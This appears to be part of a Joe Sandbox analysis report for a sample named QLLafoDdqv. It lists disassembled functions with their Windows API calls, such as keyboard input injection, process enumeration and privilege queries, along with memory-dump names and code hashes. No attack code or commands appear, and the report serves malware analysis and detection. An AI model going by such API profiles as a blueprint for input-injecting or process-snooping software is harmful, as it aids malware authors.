Download Yara Rule

APIs

GetKeyboardState.USER32(?,7694C0D0,?,00008000), ref: 0073ABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 0073AC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 0073AC74
SendInput.USER32(00000001,?,0000001C,7694C0D0,?,00008000), ref: 0073ACC6

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: b12347610f4bfd827f86380e5de31e703913f6a021e043e15321e306ae1e54c6
Instruction ID: 4b7b3b1ac9315c5ddcbe1a6d3e6fb4fa1a44309f0cfef13c5712f65b20f4a8fd
Opcode Fuzzy Hash: b12347610f4bfd827f86380e5de31e703913f6a021e043e15321e306ae1e54c6
Instruction Fuzzy Hash: EF311631A44318BFFB258B65CC0A7FABBA5AB45310F08621AE4C1521D2C37D8D818776

Function 00767674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0076769A
GetWindowRect.USER32(?,?), ref: 00767710
PtInRect.USER32(?,?,00768B89), ref: 00767720
MessageBeep.USER32(00000000), ref: 0076778C

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: a71a00106a43d1d5bf74f2ca9466bbef521f587560e85d651f8a231fb5b32f29
Instruction ID: a162db6af1d08b6b5ce15c8300c3bf2b3e68ffba855fc64720179607831c32cf
Opcode Fuzzy Hash: a71a00106a43d1d5bf74f2ca9466bbef521f587560e85d651f8a231fb5b32f29
Instruction Fuzzy Hash: A441BF34605254DFDB09CF58C894EA977F4FF49398F5580A8E8169B261D738E941CF90

Function 007616DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 007616EB

Part of subcall function 00733A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00733A57
Part of subcall function 00733A3D: GetCurrentThreadId.KERNEL32 ref: 00733A5E
Part of subcall function 00733A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,007325B3), ref: 00733A65

GetCaretPos.USER32(?), ref: 007616FF
ClientToScreen.USER32(00000000,?), ref: 0076174C
GetForegroundWindow.USER32 ref: 00761752

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 3708eba034757c44ff94988e3667f076601aa2e5a7953d5bec0c509cc885c0c4
Instruction ID: daa5d4ddb4cd0e98bb9d438c3849bb0efcdea4d948975f3828bb52b710f76e9b
Opcode Fuzzy Hash: 3708eba034757c44ff94988e3667f076601aa2e5a7953d5bec0c509cc885c0c4
Instruction Fuzzy Hash: 50314371D00249AFD700DFA9C885CAEBBF9EF48314B5480AAE456E7312D7359E45CBA0

Function 0073D4DC Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0073D501
Process32FirstW.KERNEL32(00000000,?), ref: 0073D50F
Process32NextW.KERNEL32(00000000,?), ref: 0073D52F
CloseHandle.KERNEL32(00000000), ref: 0073D5DC

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 43102ead6edb843ac6589a8d48497081928a2c77253a653b4f6baefeb229450a
Instruction ID: a6705e946702535b3b589dc34347f29cdf0d0865955024380f33c3964bd5147c
Opcode Fuzzy Hash: 43102ead6edb843ac6589a8d48497081928a2c77253a653b4f6baefeb229450a
Instruction Fuzzy Hash: BF31E4721083009FD315EF50D881ABFBBF8EF99344F04082DF582872A2EB719944CBA2

Function 00768FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006E9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 006E9BB2

GetCursorPos.USER32(?), ref: 00769001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00727711,?,?,?,?,?), ref: 00769016
GetCursorPos.USER32(?), ref: 0076905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00727711,?,?,?), ref: 00769094

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 89452f109dace545edf0aaaf14b86acc4c653e3f025a7b6f1fbeb5b78be43775
Instruction ID: 42322d9f4060f75f7cb753a9703aad57fee122301175975b43085c22a8a33ad6
Opcode Fuzzy Hash: 89452f109dace545edf0aaaf14b86acc4c653e3f025a7b6f1fbeb5b78be43775
Instruction Fuzzy Hash: 0221A135601118EFDF268F94CC58EFA7BB9EF8A360F148069FA0647261C379AD50DB60

Function 0073D2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0076CB68), ref: 0073D2FB
GetLastError.KERNEL32 ref: 0073D30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 0073D319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0076CB68), ref: 0073D376

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 225abcbbdc2030aa6ddf257f7428573f7ff43848e0b58b3e25f34a44932552f1
Instruction ID: 878eefa10e6a3ecdeadd05a7361d48b38d0ccacd56b901c7cf7f31ca1995fcde
Opcode Fuzzy Hash: 225abcbbdc2030aa6ddf257f7428573f7ff43848e0b58b3e25f34a44932552f1
Instruction Fuzzy Hash: 7D21A370509301DF9320DF24E88186A77E4FE56724F104A1EF499C32A2D735DD49CB97

Function 00731571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00731014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0073102A
Part of subcall function 00731014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00731036
Part of subcall function 00731014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00731045
Part of subcall function 00731014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0073104C
Part of subcall function 00731014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00731062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 007315BE
_memcmp.LIBVCRUNTIME ref: 007315E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00731617
HeapFree.KERNEL32(00000000), ref: 0073161E

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: e39eb74af27895508a79b03d8b62a272bf241ba2e86824a1694ca0fc9aca2741
Instruction ID: b04a88705c8f971b707be0a36532bd669d936042aafd38777e25c0660ca693b4
Opcode Fuzzy Hash: e39eb74af27895508a79b03d8b62a272bf241ba2e86824a1694ca0fc9aca2741
Instruction Fuzzy Hash: A421A171E00209EFEF04DFA5C945BEEB7B8EF44344F498459E441AB242EB78AE05CB60

Function 00762782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 0076280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00762824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00762832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00762840

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 56c906802462b6fc6c0a39bab4936461358fe5584d4644612c3152981bad7d65
Instruction ID: 512d26a49b99b3d5c2c09ffc3dcf6a11aaee83edc54614cd0a3f339f6907a3eb
Opcode Fuzzy Hash: 56c906802462b6fc6c0a39bab4936461358fe5584d4644612c3152981bad7d65
Instruction Fuzzy Hash: 8D21F131204A12AFD7549B24CC44FAA7B95AF85324F248159F8278B6E3CBB9FC42C7D0

Function 007378F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00738D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,0073790A,?,000000FF,?,00738754,00000000,?,0000001C,?,?), ref: 00738D8C
Part of subcall function 00738D7D: lstrcpyW.KERNEL32(00000000,?), ref: 00738DB2
Part of subcall function 00738D7D: lstrcmpiW.KERNEL32(00000000,?,0073790A,?,000000FF,?,00738754,00000000,?,0000001C,?,?), ref: 00738DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00738754,00000000,?,0000001C,?,?,00000000), ref: 00737923
lstrcpyW.KERNEL32(00000000,?), ref: 00737949
lstrcmpiW.KERNEL32(00000002,cdecl,?,00738754,00000000,?,0000001C,?,?,00000000), ref: 00737984

Strings

cdecl, xrefs: 0073797B

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 8a3ecb741292d77af76ede96637d5fecdf92caaa37278ea7b8bd975e67c8ad03
Instruction ID: 14a86e7195db0197063286ea3d7b59390e413b2559c596c719f51e4e03714405
Opcode Fuzzy Hash: 8a3ecb741292d77af76ede96637d5fecdf92caaa37278ea7b8bd975e67c8ad03
Instruction Fuzzy Hash: 8011297A200341ABDB295F35D844E7A77A9FF45350F00812AF842C7265EF79E801C755

Function 00765660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 007656BB
_wcslen.LIBCMT ref: 007656CD
_wcslen.LIBCMT ref: 007656D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 00765816

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: 5e22cd5e624771397ea6e71fd5f6cc09b6199d8e32833313fc1122a338951d44
Instruction ID: 153c91954f252fac200f35e40e8631235ed6b0233978e00d847452b50e385052
Opcode Fuzzy Hash: 5e22cd5e624771397ea6e71fd5f6cc09b6199d8e32833313fc1122a338951d44
Instruction Fuzzy Hash: 5211E17160060996DB209F61CC85AFE3BACAF01764F10806AFD17D6081EBB89A84DB64

Function 00731A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00731A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00731A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00731A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00731A8A

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0db5bc7ef365c4fad75e4cb9fd8c47b971479fc893a3b5432b5674b07656fa5d
Instruction ID: d050dc0bcc666ff71ba6bbf5a2e7fcef58be7df571c5bca149093995f2db31e4
Opcode Fuzzy Hash: 0db5bc7ef365c4fad75e4cb9fd8c47b971479fc893a3b5432b5674b07656fa5d
Instruction Fuzzy Hash: 4E11393AD01219FFEB11DBA4CD85FADBB78EB08750F204091EA00B7290D6716E50DB94

Function 0073E1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0073E1FD
MessageBoxW.USER32(?,?,?,?), ref: 0073E230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 0073E246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0073E24D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 3cdd76d3918cf4967e0559cc67001307065ecfb3bfe60055ff384b841d1ed345
Instruction ID: 19fcc23b3707f97169b35283579863d0f19f3a942641416533e8f0b128019990
Opcode Fuzzy Hash: 3cdd76d3918cf4967e0559cc67001307065ecfb3bfe60055ff384b841d1ed345
Instruction Fuzzy Hash: 78112BB2904358BBEB019FA89C05AAF7FADAB86310F008215F915E32D1D2B8DD0087A4

Function 006FD1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,006FCFF9,00000000,00000004,00000000), ref: 006FD218
GetLastError.KERNEL32 ref: 006FD224
__dosmaperr.LIBCMT ref: 006FD22B
ResumeThread.KERNEL32(00000000), ref: 006FD249

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: 18c29ec41e2b1c2b9558a353b4b7d650681d0864a2681444ed1ce36b993396d3
Instruction ID: 89abd207151a9ce25d1bdd8af35620376d0c5e7fa719c8a31b5a77eac05ba926
Opcode Fuzzy Hash: 18c29ec41e2b1c2b9558a353b4b7d650681d0864a2681444ed1ce36b993396d3
Instruction Fuzzy Hash: 4501D63640520CBBDB125BA5DC09BBE7A6BEF82331F104219FB25922D0CB719A01C6E1

Function 006D600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 006D604C
GetStockObject.GDI32(00000011), ref: 006D6060
SendMessageW.USER32(00000000,00000030,00000000), ref: 006D606A

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 2691cad14fcc98602785e7ca5b2b84be93d426f270ea6095a6835f482d173d9e
Instruction ID: 311bf313fd1fbb70a29bc3158dc5b6c022eb23ce523022bc88addb69fbcd9bf0
Opcode Fuzzy Hash: 2691cad14fcc98602785e7ca5b2b84be93d426f270ea6095a6835f482d173d9e
Instruction Fuzzy Hash: CE11C472901608BFEF125F94CD44EFA7B6AFF09354F004102FA1552210C776DC60DB90

Function 006F3B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 006F3B56

Part of subcall function 006F3AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 006F3AD2
Part of subcall function 006F3AA3: ___AdjustPointer.LIBCMT ref: 006F3AED

_UnwindNestedFrames.LIBCMT ref: 006F3B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 006F3B7C
CallCatchBlock.LIBVCRUNTIME ref: 006F3BA4

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: 1f596bf0503ba011754e39673dc30443a8c496877176a61627e2c481316bb0f5
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: EF01293210014DBBDF125E95CC42EFB3B6AEF99754F044019FF5866221CB32E961DBA4

Function 00703073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,006D13C6,00000000,00000000,?,0070301A,006D13C6,00000000,00000000,00000000,?,0070328B,00000006,FlsSetValue), ref: 007030A5
GetLastError.KERNEL32(?,0070301A,006D13C6,00000000,00000000,00000000,?,0070328B,00000006,FlsSetValue,00772290,FlsSetValue,00000000,00000364,?,00702E46), ref: 007030B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0070301A,006D13C6,00000000,00000000,00000000,?,0070328B,00000006,FlsSetValue,00772290,FlsSetValue,00000000), ref: 007030BF

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: aad9eb118b77bf40716785dee58b8cb55596121608d2526cf6530c027459d107
Instruction ID: 2b42031dc542b7c6846ea2d4c28435796d8e55af83550e18ab474f641d35d76e
Opcode Fuzzy Hash: aad9eb118b77bf40716785dee58b8cb55596121608d2526cf6530c027459d107
Instruction Fuzzy Hash: 8B01F732312326EBCB324B799C459677BDEAF45BA1B108720F94AE31C0D729D901C6E4

Function 00737464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 0073747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00737497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 007374AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 007374CA

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: c1934e0217c948e4999e4b9768f26eec37a66062bb1d9a9e2959997a72cdaae6
Instruction ID: 0df0b1a4cbc62c3d0eaf68b4a8e7a94822fa9f27aa2c58e5d4e4e60e8b35620c
Opcode Fuzzy Hash: c1934e0217c948e4999e4b9768f26eec37a66062bb1d9a9e2959997a72cdaae6
